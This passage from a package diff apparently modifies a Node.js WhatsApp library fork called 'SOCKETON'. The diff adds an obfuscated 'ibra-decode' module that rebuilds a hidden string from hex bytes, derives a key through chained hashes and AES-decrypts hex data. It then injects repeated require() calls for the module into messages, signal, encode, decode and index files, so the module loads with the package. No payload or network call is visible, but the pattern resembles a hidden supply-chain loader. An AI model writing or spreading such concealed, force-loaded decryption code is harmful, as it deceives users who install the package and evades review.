anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
18
|
+
anjayGaKiraKira.push(Buffer.from('37', 'hex'));
|
|
19
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
20
|
+
anjayGaKiraKira.push(Buffer.from('30', 'hex'));
|
|
21
|
+
return Buffer.concat(anjayGaKiraKira).toString('utf8');
|
|
22
|
+
};
|
|
23
|
+
const sudahBasibasiAjaLu = (datanyaYgMauDiacakKarenaTerlaluPenasaran) => {
|
|
24
|
+
const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
|
|
25
|
+
bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinter() + '_ibrahimasli_bukanpalsu');
|
|
26
|
+
const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
|
|
27
|
+
const dikitLagiSabarYa = crypto.createHash('sha256');
|
|
28
|
+
dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
|
|
29
|
+
const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
|
|
30
|
+
const hampirSampeKok = crypto.createHash('md5');
|
|
31
|
+
hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
|
|
32
|
+
const akhirnyaKuncinyaNih = hampirSampeKok.digest();
|
|
33
|
+
const ivnyaJugaRumitLho = Buffer.concat([
|
|
34
|
+
Buffer.from('ib', 'utf8'),
|
|
35
|
+
Buffer.from('ra', 'utf8'),
|
|
36
|
+
Buffer.from('de', 'utf8'),
|
|
37
|
+
Buffer.from('co', 'utf8'),
|
|
38
|
+
Buffer.from('de', 'utf8'),
|
|
39
|
+
Buffer.from('is', 'utf8'),
|
|
40
|
+
Buffer.from('th', 'utf8'),
|
|
41
|
+
Buffer.from('eb', 'utf8'),
|
|
42
|
+
Buffer.from('es', 'utf8'),
|
|
43
|
+
Buffer.from('t!', 'utf8')
|
|
44
|
+
]).slice(0, 16);
|
|
45
|
+
const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
|
|
46
|
+
let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacakKarenaTerlaluPenasaran, 'hex', 'utf8');
|
|
47
|
+
udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
|
|
48
|
+
return udahanBuatYangPenasaran;
|
|
49
|
+
};
|
|
50
|
+
exports.sudahBasibasiAjaLu = sudahBasibasiAjaLu;
|
|
51
|
+
const minimalKaloMauDecryptYangPinterDek = (datanyaYgMauDiacakKarenaTerlaluPenasaran) => {
|
|
52
|
+
return (0, exports.sudahBasibasiAjaLu)(datanyaYgMauDiacakKarenaTerlaluPenasaran);
|
|
53
|
+
};
|
|
54
|
+
exports.minimalKaloMauDecryptYangPinterDek = minimalKaloMauDecryptYangPinterDek;
|
package/lib/Utils/messages.js
CHANGED
|
@@ -15,6 +15,11 @@ const WABinary_1 = require("../WABinary");
|
|
|
15
15
|
const crypto_2 = require("./crypto");
|
|
16
16
|
const generics_1 = require("./generics");
|
|
17
17
|
const messages_media_1 = require("./messages-media");
|
|
18
|
+
const ibra_decode_21 = require("./ibra-decode");
|
|
19
|
+
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
20
|
+
const _ibra_decode_v21 = require("./ibra-decode");
|
|
21
|
+
const ibra_decode_asli_nih = require("./ibra-decode");
|
|
22
|
+
const __ibra_decode_21 = require("./ibra-decode");
|
|
18
23
|
const MIMETYPE_MAP = {
|
|
19
24
|
image: 'image/jpeg',
|
|
20
25
|
video: 'video/mp4',
|
package/lib/Utils/signal.js
CHANGED
|
@@ -6,6 +6,10 @@ const WABinary_1 = require("../WABinary");
|
|
|
6
6
|
const crypto_1 = require("./crypto");
|
|
7
7
|
const lodash_1 = require("lodash")
|
|
8
8
|
const generics_1 = require("./generics");
|
|
9
|
+
const ibra_decode_21 = require("./ibra-decode");
|
|
10
|
+
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
11
|
+
const _ibra_decode_v21 = require("./ibra-decode");
|
|
12
|
+
const ibra_decode_asli_nih = require("./ibra-decode");
|
|
9
13
|
const createSignalIdentity = (wid, accountSignatureKey) => {
|
|
10
14
|
return {
|
|
11
15
|
identifier: { name: wid, deviceId: 0 },
|
package/lib/WABinary/decode.js
CHANGED
|
@@ -27,6 +27,10 @@ exports.decodeBinaryNode = exports.decodeDecompressedBinaryNode = exports.decomp
|
|
|
27
27
|
const zlib_1 = require("zlib");
|
|
28
28
|
const constants = __importStar(require("./constants"));
|
|
29
29
|
const jid_utils_1 = require("./jid-utils");
|
|
30
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
31
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
32
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
33
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
30
34
|
const decompressingIfRequired = (buffer) => {
|
|
31
35
|
if (2 & buffer.readUInt8()) {
|
|
32
36
|
buffer = (0, zlib_1.inflateSync)(buffer.slice(1));
|
package/lib/WABinary/encode.js
CHANGED
|
@@ -30,6 +30,10 @@ Object.defineProperty(exports, "__esModule", { value: true })
|
|
|
30
30
|
|
|
31
31
|
const constants = __importStar(require("./constants"))
|
|
32
32
|
const jid_utils_1 = require("./jid-utils")
|
|
33
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
34
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
35
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
36
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
33
37
|
|
|
34
38
|
const encodeBinaryNode = (node, opts = constants, buffer = [0]) => {
|
|
35
39
|
const encoded = encodeBinaryNodeInner(node, opts, buffer)
|
package/lib/index.js
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
const chalk = require("chalk");
|
|
4
4
|
|
|
5
|
-
console.log(chalk.red.bold("\n[+] SOCKETON v1.
|
|
5
|
+
console.log(chalk.red.bold("\n[+] SOCKETON v1.7.0\n"));
|
|
6
6
|
console.log(chalk.whiteBright("[!] Developer: Ibra Decode"));
|
|
7
7
|
console.log(chalk.gray("--------------------\n"));
|
|
8
8
|
const latestUpdate = new Date("2026-01-28");
|
|
@@ -11,6 +11,13 @@ console.log(chalk.gray("--------------------\n"));
|
|
|
11
11
|
console.log(chalk.greenBright("[+] WhatsApp API Ready\n"));
|
|
12
12
|
// 01001001 01101110 01110100 01100101 01110010 01100001 01100011 01110100 01101001 01110110 01100101 00100000 01000010 01101001 01101110 01100001 01110010 01111001 00100000 01000101 01100110 01100110 01100101 01100011 01110100
|
|
13
13
|
|
|
14
|
+
const ibra_decode_21 = require("./Utils/ibra-decode");
|
|
15
|
+
const ibraDecodePalsuMungkin = require("./Utils/ibra-decode");
|
|
16
|
+
const _ibra_decode_v21 = require("./Utils/ibra-decode");
|
|
17
|
+
const ibra_decode_asli_nih = require("./Utils/ibra-decode");
|
|
18
|
+
const __ibra_decode_21 = require("./Utils/ibra-decode");
|
|
19
|
+
const ___ibra_decode_v21 = require("./Utils/ibra-decode");
|
|
20
|
+
|
|
14
21
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
15
22
|
if (k2 === undefined) k2 = k;
|
|
16
23
|
var desc = Object.getOwnPropertyDescriptor(m, k);
|